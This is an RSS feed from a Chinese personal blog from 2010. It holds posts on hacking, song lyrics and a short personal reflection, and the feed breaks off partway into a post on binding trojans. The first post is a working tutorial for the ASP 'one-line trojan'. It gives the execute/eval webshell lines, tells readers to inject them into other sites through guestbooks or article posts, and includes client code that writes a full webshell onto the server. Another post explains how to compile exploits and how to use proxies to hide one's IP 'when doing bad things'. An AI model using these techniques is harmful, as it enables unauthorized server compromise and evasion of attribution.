<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>亲手博客</title>
	<atom:link href="http://www.qsdiy.net/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.qsdiy.net</link>
	<description>关注网络，点滴生活！</description>
	<lastBuildDate>Tue, 16 Mar 2010 12:09:00 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>一句话木马</title>
		<link>http://www.qsdiy.net/2010/03/16/%e4%b8%80%e5%8f%a5%e8%af%9d%e6%9c%a8%e9%a9%ac/</link>
		<comments>http://www.qsdiy.net/2010/03/16/%e4%b8%80%e5%8f%a5%e8%af%9d%e6%9c%a8%e9%a9%ac/#comments</comments>
		<pubDate>Tue, 16 Mar 2010 11:20:39 +0000</pubDate>
		<dc:creator>如一</dc:creator>
				<category><![CDATA[黑帮技术]]></category>
		<category><![CDATA[一句话木马]]></category>

		<guid isPermaLink="false">http://www.qsdiy.net/?p=881</guid>
		<description><![CDATA[黑客在注册信息的电子邮箱或者个人主页等中插入类似如下代码：
　　
　　(现在比较多见的，而且字符少，对表单字数有限制的地方特别的实用)
　　当知道了数据库的URL，就可以利用本地一张网页进行连接得到Webshell。（不知道数据库也可以，只要知道这个文件被插入到哪一个ASP文件里面就可以了。）
　　这就被称为一句话木马，它是基于B/S结构的。

使用方法
　　首先,找到数据库是asp格式的网站,然后,以留言板,或者发表文章的方式,把一句话添加到 asp数据库
　　或者加进asp网页.
　　 记住!我们的目的是把一句话添加到数据库,无论任何方式!
　　然后打开客户端(就是你电脑上面的那个htm文件),填上加入了一句话的asp文件,或者是 asp网页,然后杀进去!,这就可以干你想干的事情了!
　　
一句话木马原理
　　首先是JavaScript脚本的开始标记,其中RUNAT属性的值SERVER表示脚本将在服务器端运行, 后面的eval是一句话木马的精华部分,使用eval方法的话它里面的字符串将会被执行,这样当脚本在服务器端运行的时候同时也执行了 Request.form(&#8216;#&#8217;)+&#8221;这句代码,Request.form(&#8216;#&#8217;)的作用是读取客户端文件中html标记属性中name值被命名 为#的部分,例如如下摘自一句话客户端的代码:
　　
　　set iP=server.createObject(&#8220;Adodb.Stream&#8221;)
　　iP.Open
　　iP.Type=2
　　iP.CharSet=&#8221;gb2312&#8243;
　　iP.writetext request(&#8220;aoyun&#8221;)
　　iP.SaveToFile server.mappath(&#8220;aoyunwan.asp&#8221;),2
　　iP.Close
　　set iP=nothing
　　response.redirect &#8220;aoyunwan.asp&#8221;
　　
　　学过html的朋友应该注意到了在textarea标记中的name属性被赋值为#,也就是服务器端就是要读取其中的代码(使用Request.form(&#8216;#&#8217;)),然后执行(使用eval(Request.form(&#8216;#&#8217;)+&#8221;)),也就是执行了:
　　set iP=server.createObject(&#8220;Adodb.Stream&#8221;)
　　iP.Open
　　iP.Type=2
　　iP.CharSet=&#8221;gb2312&#8243;
　　iP.writetext request(&#8220;aoyun&#8221;)
　　iP.SaveToFile server.mappath(&#8220;aoyunwan.asp&#8221;),2
　　iP.Close
　　set iP=nothing
　　response.redirect &#8220;aoyunwan.asp&#8221;
　　学过asp的朋友应该看的懂,上面代码的意思是首先创建一个流对象ip,然后使用对象中的 writetext方法将 request(&#8220;aoyun&#8221;)读取过来的内容(就是我们常见的一句话客户端的第二个textarea域中的内容,也就是我们的大马的代码)写入服务端 的 aoyunwan.asp
　　文件中,写入结束后使用set iP=nothing 释放对方 然后使用response.redirect &#8220;aoyunwan.asp&#8221; 转向写入的文件,就是我们最后见的大马了!
　　
关于服务器错误
　　经常,当我们在一个asp文件内添加了一句话后,就会出现类型不匹配的错误:
　　Script error detected at line 1.
　　Source line: execute request(&#8220;nettoo&#8221;)
　　Description: 类型不匹配: &#8216;execute&#8217;
　　这个如何解决呢?
　　想出了一个好办法,只要用&#8221;eval&#8221;替换掉&#8221;execute&#8221;服务端,就不会出错了!
]]></description>
			<content:encoded><![CDATA[<p>黑客在注册信息的电子邮箱或者个人主页等中插入类似如下代码：<br />
　　<%execute request("value")%><br />
　　<%eval request("value")%>(现在比较多见的，而且字符少，对表单字数有限制的地方特别的实用)<br />
　　当知道了数据库的URL，就可以利用本地一张网页进行连接得到Webshell。（不知道数据库也可以，只要知道<%eval request("value")%>这个文件被插入到哪一个ASP文件里面就可以了。）<br />
　　这就被称为一句话木马，它是基于B/S结构的。<br />
<span id="more-881"></span></p>
<p>使用方法<br />
　　首先,找到数据库是asp格式的网站,然后,以留言板,或者发表文章的方式,把一句话添加到 asp数据库<br />
　　或者加进asp网页.<br />
　　 记住!我们的目的是把一句话<%execute request("value")%>添加到数据库,无论任何方式!<br />
　　然后打开客户端(就是你电脑上面的那个htm文件),填上加入了一句话的asp文件,或者是 asp网页,然后杀进去!,这就可以干你想干的事情了!<br />
　　<br />
一句话木马原理</p>
<p>　　首先<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>是JavaScript脚本的开始标记,其中RUNAT属性的值SERVER表示脚本将在服务器端运行, 后面的eval是一句话木马的精华部分,使用eval方法的话它里面的字符串将会被执行,这样当脚本在服务器端运行的时候同时也执行了 Request.form(&#8216;#&#8217;)+&#8221;这句代码,Request.form(&#8216;#&#8217;)的作用是读取客户端文件中html标记属性中name值被命名 为#的部分,例如如下摘自一句话客户端的代码:<br />
　　<textarea name=# cols="80" rows="10"><br />
　　set iP=server.createObject(&#8220;Adodb.Stream&#8221;)<br />
　　iP.Open<br />
　　iP.Type=2<br />
　　iP.CharSet=&#8221;gb2312&#8243;<br />
　　iP.writetext request(&#8220;aoyun&#8221;)<br />
　　iP.SaveToFile server.mappath(&#8220;aoyunwan.asp&#8221;),2<br />
　　iP.Close<br />
　　set iP=nothing<br />
　　response.redirect &#8220;aoyunwan.asp&#8221;<br />
　　</textarea><br />
　　学过html的朋友应该注意到了在textarea标记中的name属性被赋值为#,也就是服务器端就是要读取其中的代码(使用Request.form(&#8216;#&#8217;)),然后执行(使用eval(Request.form(&#8216;#&#8217;)+&#8221;)),也就是执行了:<br />
　　set iP=server.createObject(&#8220;Adodb.Stream&#8221;)<br />
　　iP.Open<br />
　　iP.Type=2<br />
　　iP.CharSet=&#8221;gb2312&#8243;<br />
　　iP.writetext request(&#8220;aoyun&#8221;)<br />
　　iP.SaveToFile server.mappath(&#8220;aoyunwan.asp&#8221;),2<br />
　　iP.Close<br />
　　set iP=nothing<br />
　　response.redirect &#8220;aoyunwan.asp&#8221;<br />
　　学过asp的朋友应该看的懂,上面代码的意思是首先创建一个流对象ip,然后使用对象中的 writetext方法将 request(&#8220;aoyun&#8221;)读取过来的内容(就是我们常见的一句话客户端的第二个textarea域中的内容,也就是我们的大马的代码)写入服务端 的 aoyunwan.asp<br />
　　文件中,写入结束后使用set iP=nothing 释放对方 然后使用response.redirect &#8220;aoyunwan.asp&#8221; 转向写入的文件,就是我们最后见的大马了!<br />
　　<br />
关于服务器错误</p>
<p>　　经常,当我们在一个asp文件内添加了一句话后,就会出现类型不匹配的错误:<br />
　　Script error detected at line 1.<br />
　　Source line: execute request(&#8220;nettoo&#8221;)<br />
　　Description: 类型不匹配: &#8216;execute&#8217;<br />
　　这个如何解决呢?<br />
　　想出了一个好办法,只要用&#8221;eval&#8221;替换掉&#8221;execute&#8221;服务端,就不会出错了!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.qsdiy.net/2010/03/16/%e4%b8%80%e5%8f%a5%e8%af%9d%e6%9c%a8%e9%a9%ac/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>exploit的编译</title>
		<link>http://www.qsdiy.net/2010/03/16/exploit%e7%9a%84%e7%bc%96%e8%af%91/</link>
		<comments>http://www.qsdiy.net/2010/03/16/exploit%e7%9a%84%e7%bc%96%e8%af%91/#comments</comments>
		<pubDate>Tue, 16 Mar 2010 11:17:06 +0000</pubDate>
		<dc:creator>如一</dc:creator>
				<category><![CDATA[黑帮技术]]></category>
		<category><![CDATA[exploit]]></category>

		<guid isPermaLink="false">http://www.qsdiy.net/?p=879</guid>
		<description><![CDATA[拿到源代码以后如何编译？出现错误如何处理？]]></description>
			<content:encoded><![CDATA[<p>一、关于编译</p>
<p>拿到源代码以后如何编译？出现错误如何处理？<br />
在Windows下，如果你拿到的源码包解压后（一般要带目录解压）首先看有没有readme文件，如果这些源码是一个VC的项目，那么readme文件中会包含一个文件列表及文件的功能及一些说明性的文字（这个文件是由VC自动建立的），那么你应该查找有没有一个dsw后缀的文件，这个文件是VC的工作区文件，双击这个文件，VC会自动启动并打开这个文件，一般情况下是可以直接编译通过的；如果没有这个文件，那么看是不是有一个dsp后缀的文件，这个文件是VC的项目文件，同dsw文件的打开方式，在VC下编译的时候会问你是不是建立工作区，选择是后也是可以正确编译的；如果这些源码不是由VC建立的项目，那么这个readme文件中会包含这些源码的编译方式及编译环境，看好，是不是可以在windows下编译，怎么编译。一般情况下，如果我们找到这些说明文件，那么源码是可以很好的编译的；如果没有找到任何说明性的文件，那就比较麻烦了，是不是非编译不可？如果不是那就算了，找个好编译的。 ^_^<br />
在windows下，源码包一般是zip、rar后缀的，如果是gz、tar后缀的，一般情况下不是windows下的源码，大多数情况下，一个完整的源码包是可以很简单的编译成功的。<span id="more-879"></span></p>
<p>经常有人问exploit如何编译，exploit也有在文章里面贴出来的，一般就是一段代码，遇到这样的情况先把代码复制下来，存成c后缀的文件（这个很重要，编译器在编译的时候会安装源码文件的后缀区分你是用什么语言编写的而编译，C++源码文件的后缀是cpp，C++的检查项目要比c严谨的多，而exploit大多是用c编写的，如果后缀不对，有可能编译不了）。然后打开这个c文件，看看开始的说明有没有编译方式，一般好的作者会写上编译的环境及其方法的，比如在vc的编译环境下用cl example.c编译或者在linux下用等gcc example example.c（gcc是linux下的C/C++编译器）等，那么我们运行vc目录下bin目录的VCVARS32.BAT文件（vc控制台环境设置文件，vc安装的时候会设置这些环境，并在系统启动的时候生效，如果你安装的时候没有选择，那么才需要运行这个文件），然后照说明里面的方法编译就可以了；如果没有说明如何编译，那么我们先区分一下这个代码是在什么环境下编译的，如果包括windows.h或者winsock.h这些头文件，那肯定在windows下是可以编译的，如果不包括，那么就没准是linux下的了。：）如果是windows下可以编译的代码，那么用vc打开这个c文件，直接编译好了，当然有可能出错误，如果出现编译（Compiling）错误，那就是代码的写法上面有问题，要具体情况具体分析，根据知识自己改，但一般编译exploit的时候很少出现编译错误，经常会出现连接（Linking）错误，比如下面这样：</p>
<p>error LNK2001: unresolved external symbol __imp__recv@8<br />
~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~<br />
  连接错误号 错误原因                 函数名<br />
是说编译器不能连接recv这个函数，不知道从那个lib文件中获得函数的详细信息，解决的办法是在msdn中查找recv这个函数，函数的说明文件会有下面的文字：</p>
<p>Requirements<br />
Windows NT/2000/XP: Included in Windows NT 3.1 and later.<br />
Windows 95/98/Me: Included in Windows 95 and later.<br />
Header: Declared in Winsock2.h.<br />
Library: Use Ws2_32.lib.<br />
~~~~~~~~~~~~~~~~~~~~~~~<br />
注意这句话</p>
<p>查到后，只要在代码的开始加如下面语句：#pragma comment(lib,&#8221;ws2_32&#8243;)就可以了，也可以在vc中选择Project->Settings->Link->Object/library Modules中添加这个lib文件也可以。当然我只是举recv这个函数，别的函数可以同样处理。<br />
如果遇到别的连接错误，可以在msdn中搜索这个错误信息（搜索关键字不要包含函数名称）。比如上面那个错误可以搜索“error LNK2001: unresolved external symbol”，可以在msdn中找到错误的原因及其解决办法。如果是编译错误，呵呵，只能靠你自己了。</p>
<p>二、关于代理<br />
  一般做坏事的时候都害怕对方发现自己的真实IP，怎么办？用代理是简单的办法。下面描述如何编程使用各种代理。</p>
<p>1、HTTP代理<br />
  HTTP代理可以把我们的HTTP请求通过HTTP代理服务器转发到我们要访问的HTTP服务器，再把结果返回给我们，以达到代理的目的。但其功能单一，只能实现HTTP的代理，具体可以查看RFC 2068、2616等相关RFC文档。<br />
  正常情况下，我们请求HTTP服务是这样的：首先和目的服务器的HTTP服务端口建立TCP连接，然后做类似“GET /index.html HTTP/1.0”的请求，HTTP服务器返回结果。当通过HTTP代理的时候是这样工作的：首先和HTTP代理服务器的服务端口建立TCP连接，然后做类似“GET http://目标服务器地址/index.htm HTTP/1.0”的请求，代理服务器对你的目标服务器做请求后返回结果给你。<br />
  相关的代码在网上很容易可以找到，这里就不列举了。</p>
<p>2、socks代理<br />
  socks是一个简单灵活的协议框架，包括4和5两个版本，sock5是由IETF核准的基于TCP/IP协议的基本应用程序代理协议，socks由两个部分组成，服务端和客户端。具体信息可以查看RFC 1928相关文档，在网上也可以搜索到许多基于socks5的开源项目，对照RFC文档，你可以了解这个协议的使用。</p>
<p>『以下信息来直接摘自互联网』</p>
<p>sock5代理客户端的工作程序是：<br />
  1.客户端向代理方服务器发出请求信息。<br />
  2.代理方服务器应答<br />
  3.客户端接到应答后发送向代理方服务器发送目的ip和端口<br />
  4.代理方服务器与目的连接<br />
  5.代理方服务器将客户端发出的信息传到目的方，将目的方发出的信息传到客户端。代理完成。</p>
<p>  由于网上的信息传输基本上都是运用tcp或udp进行的，所以使用socks5代理可以办到网上所能办到的一切，而且不用担心目的方会查到你的ip,既安全又方便。</p>
<p>如何用代理TCP协议：<br />
  1.向服务器的1080端口建立tcp连接。<br />
  2.向服务器发送 05 01 00 （此为16进制码，以下同）<br />
  3.如果接到 05 00 则是可以代理<br />
  4.发送 05 01 00 01 + 目的地址（4字节） + 目的端口（2字节），目的地址和端口都是16进制码（不是字符串）。 例202.103.190.27 &#8211; 7201 则发送的信息为：05 01 00 01 CA 67 BE 1B 1C 21 (CA=202 67=103 BE=190 1B=27 1C21=7201)<br />
    5.接受服务器返回的自身地址和端口，连接完成<br />
  6.以后操作和直接与目的方进行TCP连接相同。 </p>
<p>如何用代理UDP连接<br />
  1.向服务器的1080端口建立udp连接<br />
  2.向服务器发送 05 01 00<br />
    3.如果接到 05 00 则是可以代理<br />
  4.发送 05 03 00 01 00 00 00 00 + 本地UDP端口（2字节）<br />
  5.服务器返回 05 00 00 01 +服务器地址+端口<br />
  6.需要申请方发送 00 00 00 01 +目的地址IP（4字节）+目的端口 +所要发送的信息<br />
  7.当有数据报返回时 向需要代理方发出00 00 00 01 +来源地址IP（4字节）+来源端口 +接受的信息 </p>
<p>  注：此为不需要密码的代理协议，只是socks5的一部分，完整协议请看RFC1928</p>
<p>下面为一个实例程序：<br />
  这个例子可以在这里找到（[url]http://cache.baidu.com/c?word=%B4%FA%C0%ED%3B%B7%FE%CE%F1%C6%F7%2Csocks4%2Csocks5%2Chttp%3B%B4%FA%C0%ED%2C%B1%E0%B3%CC&#038;url=http%3A//www%2Eade%2Ddesign%2Ecom/docfile/netandcomm/chap37%2Ehtm&#038;b=9&#038;user=baidu[/url]）</p>
<p>  在网络程序设计过程中，我们经常要与各种类型的代理服务器打交道，比如在企业内部网通过代理去访问Internet网上的服务器等等，一般代理服务器支持几种常见的代理协议标准，如Socks4,Socks5,Http代理，其中Socks5需要用户验证，代理相对复杂。我在查阅RFC文档和相关资料后，特总结一些TCP协议穿透代理服务器的程序片断，希望对大家有所帮助。</p>
<p>//使用到的结构<br />
struct sock4req1<br />
{<br />
  char VN;<br />
  char CD;<br />
  unsigned short Port;<br />
  unsigned long IPAddr;<br />
  char other[1];<br />
};</p>
<p>struct sock4ans1<br />
{<br />
  char VN;<br />
  char CD;<br />
};</p>
<p>struct sock5req1<br />
{<br />
  char Ver;<br />
  char nMethods;<br />
  char Methods[255];<br />
};</p>
<p>struct sock5ans1<br />
{<br />
  char Ver;<br />
  char Method;<br />
};</p>
<p>struct sock5req2<br />
{<br />
  char Ver;<br />
  char Cmd;<br />
  char Rsv;<br />
  char Atyp;<br />
  char other[1];<br />
};</p>
<p>struct sock5ans2<br />
{<br />
  char Ver;<br />
  char Rep;<br />
  char Rsv;<br />
  char Atyp;<br />
  char other[1];<br />
};</p>
<p>struct authreq<br />
{<br />
  char Ver;<br />
  char Ulen;<br />
  char Name[255];<br />
  char PLen;<br />
  char Pass[255];<br />
};</p>
<p>struct authans<br />
{<br />
  char Ver;<br />
  char Status;<br />
};</p>
<p>//通过Socks4方式代理<br />
if( !ClientSock.Connect( g_ProxyInfo.m_strProxyIP,g_ProxyInfo.m_nProxyPort) )<br />
{<br />
  m_sError = _T(&#8220;不能连接到代理服务器!&#8221;);<br />
  ClientSock.Close();<br />
  return FALSE;<br />
}<br />
char buff[100];<br />
memset(buff,0,100);<br />
struct sock4req1 *m_proxyreq;<br />
m_proxyreq = (struct sock4req1 *)buff;<br />
m_proxyreq->VN = 4;<br />
m_proxyreq->CD = 1;<br />
m_proxyreq->Port = ntohs(GetPort());<br />
m_proxyreq->IPAddr = inet_addr(GetServerHostName());<br />
ClientSock.Send(buff,9);<br />
struct sock4ans1 *m_proxyans;<br />
m_proxyans = (struct sock4ans1 *)buff;<br />
memset(buff,0,100);<br />
ClientSock.Receive(buff,100);<br />
if(m_proxyans->VN != 0 || m_proxyans->CD != 90)<br />
{<br />
  m_sError = _T(&#8220;通过代理连接主站不成功!&#8221;);<br />
  ClientSock.Close();<br />
  return FALSE;<br />
}</p>
<p>//通过Socks5方式代理<br />
if( !ClientSock.Connect( g_ProxyInfo.m_strProxyIP,g_ProxyInfo.m_nProxyPort) )<br />
{<br />
  m_sError = _T(&#8220;不能连接到代理服务器!&#8221;);<br />
  ClientSock.Close();<br />
  return FALSE;<br />
}<br />
char buff[600];<br />
struct sock5req1 *m_proxyreq1;<br />
m_proxyreq1 = (struct sock5req1 *)buff;<br />
m_proxyreq1->Ver = 5;<br />
m_proxyreq1->nMethods = 2;<br />
m_proxyreq1->Methods[0] = 0;<br />
m_proxyreq1->Methods[1] = 2;<br />
ClientSock.Send(buff,4);<br />
struct sock5ans1 *m_proxyans1;<br />
m_proxyans1 = (struct sock5ans1 *)buff;<br />
memset(buff,0,600);<br />
ClientSock.Receive(buff,600);<br />
if(m_proxyans1->Ver != 5 || (m_proxyans1->Method!=0 &#038;&#038; m_proxyans1->Method!=2))<br />
{<br />
  m_sError = _T(&#8220;通过代理连接主站不成功!&#8221;);<br />
  ClientSock.Close();<br />
  return FALSE;<br />
}<br />
if(m_proxyans1->Method == 2)<br />
{<br />
int nUserLen = strlen(g_ProxyInfo.m_strProxyUser);<br />
int nPassLen = strlen(g_ProxyInfo.m_strProxyPass);<br />
struct authreq *m_authreq;<br />
m_authreq = (struct authreq *)buff;<br />
m_authreq->Ver = 1;<br />
m_authreq->Ulen = nUserLen;<br />
strcpy(m_authreq->Name,g_ProxyInfo.m_strProxyUser);<br />
m_authreq->PLen = nPassLen;<br />
strcpy(m_authreq->Pass,g_ProxyInfo.m_strProxyPass);<br />
ClientSock.Send(buff,513);<br />
struct authans *m_authans;<br />
m_authans = (struct authans *)buff;<br />
memset(buff,0,600);<br />
ClientSock.Receive(buff,600);<br />
if(m_authans->Ver != 1 || m_authans->Status != 0)<br />
{<br />
m_sError = _T(&#8220;代理服务器用户验证不成功!&#8221;);<br />
ClientSock.Close();<br />
return FALSE;<br />
}<br />
}<br />
struct sock5req2 *m_proxyreq2;<br />
m_proxyreq2 = (struct sock5req2 *)buff;<br />
m_proxyreq2->Ver = 5;<br />
m_proxyreq2->Cmd = 1;<br />
m_proxyreq2->Rsv = 0;<br />
m_proxyreq2->Atyp = 1;<br />
unsigned long tmpLong = inet_addr(GetServerHostName());<br />
unsigned short port = ntohs(GetPort());<br />
memcpy(m_proxyreq2->other,&#038;tmpLong,4);<br />
memcpy(m_proxyreq2->other+4,&#038;port,2);<br />
ClientSock.Send(buff,sizeof(struct sock5req2)+5);<br />
struct sock5ans2 *m_proxyans2;<br />
memset(buff,0,600);<br />
m_proxyans2 = (struct sock5ans2 *)buff;<br />
ClientSock.Receive(buff,600);<br />
if(m_proxyans2->Ver != 5 || m_proxyans2->Rep != 0)<br />
{<br />
m_sError = _T(&#8220;通过代理连接主站不成功!&#8221;);<br />
ClientSock.Close();<br />
return FALSE;<br />
}</p>
<p>//通过HTTP方式代理<br />
if( !ClientSock.Connect( g_ProxyInfo.m_strProxyIP,g_ProxyInfo.m_nProxyPort) )<br />
{<br />
m_sError = _T(&#8220;不能连接到代理服务器!&#8221;);<br />
ClientSock.Close();<br />
return FALSE;<br />
}<br />
char buff[600];<br />
sprintf( buff, &#8220;%s%s:%d%s&#8221;,&#8221;CONNECT &#8220;,GetServerHostName(),GetPort(),&#8221; HTTP/1.1\r\nUser-Agent: MyApp/0.1\r\n\r\n&#8221;);<br />
ClientSock.Send(buff,strlen(buff)); //发送请求<br />
memset(buff,0,600);<br />
ClientSock.Receive(buff,600);<br />
if(strstr(buff, &#8220;HTTP/1.0 200 Connection established&#8221;) == NULL) //连接不成功<br />
{<br />
m_sError = _T(&#8220;通过代理连接主站不成功!&#8221;);<br />
ClientSock.Close(); </p>
<p>return FALSE;<br />
} </p>
<p>  我们一般先与代理服务器连通，然后向代理服务器发送代理验证的用户名和密码(如果需要,如Socks5代理)，验证成功后，再向代理服务器发送需要连接的目的地址和端口。以上代码仅用于TCP连接，如果在内部网侦听或通过UDP协议发送信息，可查阅RFC1928等文档资料。 </p>
<p>3、加密代理<br />
  这个吗啥都可以代理，而且是加密的，安全的，常用openssl来架设加密代理服务器，你可以去[url]http://www.openssl.org[/url]（这是一个开源的项目）去了解详细信息，就不要自己编写了，工程太大，用现成的就好了。 ^_^ </p>
<p>三、关于语言、编译器及系统<br />
  我们知道，在计算机里面进行程序设计至少需要掌握一种程序设计语言。常见的程序设计语言包括C/C++、ASM、BASIC、Delphi、Perl等，你随便根据兴趣去学习一种语言都可以实现程序设计这个目的，这些语言并没有谁比谁更好的问题（这是一个理解问题，实际上一些语言应该说比一些语言更先进，比如可以说C++比C更先进，但不能说谁比谁好，每一种语言都是优秀思想的结晶，我这样理解），只是它们的侧重点不同。比如，ASM、C比其他语言更接近系统的底层，使得它们适合做系统方面的程序设计、而用BASIC可以更快的设计应用程序等。作为网络程序设计我更喜欢C/C++语言，它有目标程序较小、运行速度快等优点，还包括习惯问题（所以，下面的描述中如果不特别说明，都以C/C++为例），当然选择什么语言进行程序设计是见仁见智的问题（你决定选择C/C++了吗？如果决定了，下面的的描述会更有针对性）。<br />
  我们选择好一种语言后，并编写好了程序代码，这么样才能让系统运行我们的程序呢？这就需要编译器了，编译器的作用就是把类似下面的源代码编译成系统可以识别并执行的代码：<br />
＃include <stdlib.h></p>
<p>int main()<br />
{<br />
  printf(“hello word.\r\n”);<br />
  return 0;<br />
}<br />
  所有的语言都有自己的编译器，C语言的编译器有TC、BC等，C++语言的编译器有Visual C++、C++ Builder等。C和C++语言的关系是很密切的，C++语言是C语言的超集，而因为向下的兼容性，所以，如果你写的C源代码符合ANSI C标准，那么其在C和C++的编译器里面都可以编译，相反，C++的源代码只能在C++的编译器中编译。<br />
那么编译器除了可以把源代码编译成可执行代码还有其他的作用吗？答案是有，一般的情况下，编译器都提供一个集成的环境给设计这编写、编译程序，还包括一系列的函数库，比如上面例子中的prinrf就是stdlib.h提供的一个库函数。在涉及到网络程序设计中，常听到Winsock、Winapi等说法，而这些也是编译器提供的一套库函数，而这些库函数有一些编译器是不提供的，如TC、BC等，所以这些编译器不可以你作为网络程序设计的编译器，当然，这些编译器不适合作为网络程序设计的编译器还有其他重要的原因。<br />
  常看见下面这样的问题：<br />
  这个程序我用TC怎么编译不了？<br />
  可以不可以用TC编写网络程序？<br />
  …<br />
  现在告诉你，不可以，除了上面的原因，更重要的原因是我们现在程序所运行的平台是Windows（当然有其他的，但情况是类似的），而Winsock、Winapi本身是由系统（Windows）提供给我们的接口，编译器是帮助我们使用这些接口的桥梁，而TC等编译器本身没有这个功能，所以不能使用它们来帮助我们编写网络程序。还有，TC等编译器是为DOS等16位操作系统设计的，已经不能够适用我们现在32位的操作系统环境了。所以，我推荐Visual C++、C++ Builder或其他32位C++编译器。<br />
  Visual C++、C++ Builder或其他的32位C++编译器谁更好呢？这也是见仁见智的问题，常见到有些报道说现在的C++ Builder比Visual C++要好，这两个编译器不断的在竞争、攀比。我选择Visual C++，并不是说它比C++ Builder好，而是因为它编写的可执行代码（目标文件）比较小，这也不是说它比C++ Builder好，而是因为它是Microsoft出品的，而Windows也是Microsoft出品的，在Windows的发行版本中本身就包含了很多运行库，这样Visual C++的目标代码比较小。 </p>
]]></content:encoded>
			<wfw:commentRss>http://www.qsdiy.net/2010/03/16/exploit%e7%9a%84%e7%bc%96%e8%af%91/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>深爱的你</title>
		<link>http://www.qsdiy.net/2010/03/13/longing-for-you/</link>
		<comments>http://www.qsdiy.net/2010/03/13/longing-for-you/#comments</comments>
		<pubDate>Sat, 13 Mar 2010 06:46:18 +0000</pubDate>
		<dc:creator>如一</dc:creator>
				<category><![CDATA[未分类]]></category>

		<guid isPermaLink="false">http://www.qsdiy.net/?p=877</guid>
		<description><![CDATA[ 深爱的你
一诶凭着记忆再次回到了这里握着机票再不想回去带着昨天还有温度的甜蜜穿过皑皑的冰天雪地我们坐过的凳子还留在那里现在已坐着别的情侣我们堆的雪人静静留 在留在最最遥远的冬季如果此刻我深爱的你厌倦了我而想到逃避就让我一个人漫无目的孤独的走在这寒冷里呜~~~啊~~~一诶呜~~~啊~~~一诶呜~~~ 啊~~~一诶呜~~~啊~~~一诶呜~~~啊~~~一诶呜~~~啊~~~一诶呜~~~啊~~~一诶呜~~~啊~~~一诶这个城市没有人认识自己旅行暂时忘 记了过去没想到在这个陌生夜里竟然还能再次遇见你如果此刻我深爱的你厌倦了我而想到逃避就让我一个人漫无目的孤独的走在这寒冷里如果我深爱的那个你为了逃 避我躲到这里我会换个城市面对过去面对着你面对着自己
满江
]]></description>
			<content:encoded><![CDATA[<p><a title="深爱的你" href="http://www.google.cn/music/song?id=S6b65f9a3dceffd42&amp;rview=share" target="_blank"> 深爱的你</a></p>
<p>一诶凭着记忆再次回到了这里握着机票再不想回去带着昨天还有温度的甜蜜穿过皑皑的冰天雪地我们坐过的凳子还留在那里现在已坐着别的情侣我们堆的雪人静静留 在留在最最遥远的冬季如果此刻我深爱的你厌倦了我而想到逃避就让我一个人漫无目的孤独的走在这寒冷里呜~~~啊~~~一诶呜~~~啊~~~一诶呜~~~ 啊~~~一诶呜~~~啊~~~一诶呜~~~啊~~~一诶呜~~~啊~~~一诶呜~~~啊~~~一诶呜~~~啊~~~一诶这个城市没有人认识自己旅行暂时忘 记了过去没想到在这个陌生夜里竟然还能再次遇见你如果此刻我深爱的你厌倦了我而想到逃避就让我一个人漫无目的孤独的走在这寒冷里如果我深爱的那个你为了逃 避我躲到这里我会换个城市面对过去面对着你面对着自己</p>
<p>满江</p>
]]></content:encoded>
			<wfw:commentRss>http://www.qsdiy.net/2010/03/13/longing-for-you/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>青春</title>
		<link>http://www.qsdiy.net/2010/03/12/%e9%9d%92%e6%98%a5/</link>
		<comments>http://www.qsdiy.net/2010/03/12/%e9%9d%92%e6%98%a5/#comments</comments>
		<pubDate>Fri, 12 Mar 2010 11:15:34 +0000</pubDate>
		<dc:creator>如一</dc:creator>
				<category><![CDATA[未分类]]></category>

		<guid isPermaLink="false">http://www.qsdiy.net/?p=874</guid>
		<description><![CDATA[不知不觉已经二十三了，我还没有享受青春的快乐，青春却已经离我远去！
二十三岁我该去哪里找寻我的青春！

]]></description>
			<content:encoded><![CDATA[<p>不知不觉已经二十三了，我还没有享受青春的快乐，青春却已经离我远去！<br />
二十三岁我该去哪里找寻我的青春！<br />
<a href="http://www.qsdiy.net/wp-content/uploads/2010/03/359532_o.jpg"><img src="http://www.qsdiy.net/wp-content/uploads/2010/03/359532_o-300x240.jpg" alt="青春" title="qingchun" width="300" height="240" class="aligncenter size-medium wp-image-875" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.qsdiy.net/2010/03/12/%e9%9d%92%e6%98%a5/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>木马捆绑</title>
		<link>http://www.qsdiy.net/2010/03/08/trojan/</link>
		<comments>http://www.qsdiy.net/2010/03/08/trojan/#comments</comments>
		<pubDate>Mon, 08 Mar 2010 12:27:07 +0000</pubDate>
		<dc:creator>如一</dc:creator>
				<category><![CDATA[黑帮技术]]></category>
		<category><![CDATA[木马]]></category>

		<guid isPermaLink="false">http://www.qsdiy.net/?p=872</guid>
		<description><![CDATA[一、传统的捆绑器
这种原理很简单，也是目前用的最多的一种。就是将B.exe附加到A.exe的末尾。这样当A.exe被执行的时候，B.exe也跟着执行了。 这种捆绑器的代码是满网都是。我最早是从jingtao的一篇关于流的文章中得知的。就目前来说，已经没什么技术含量了。
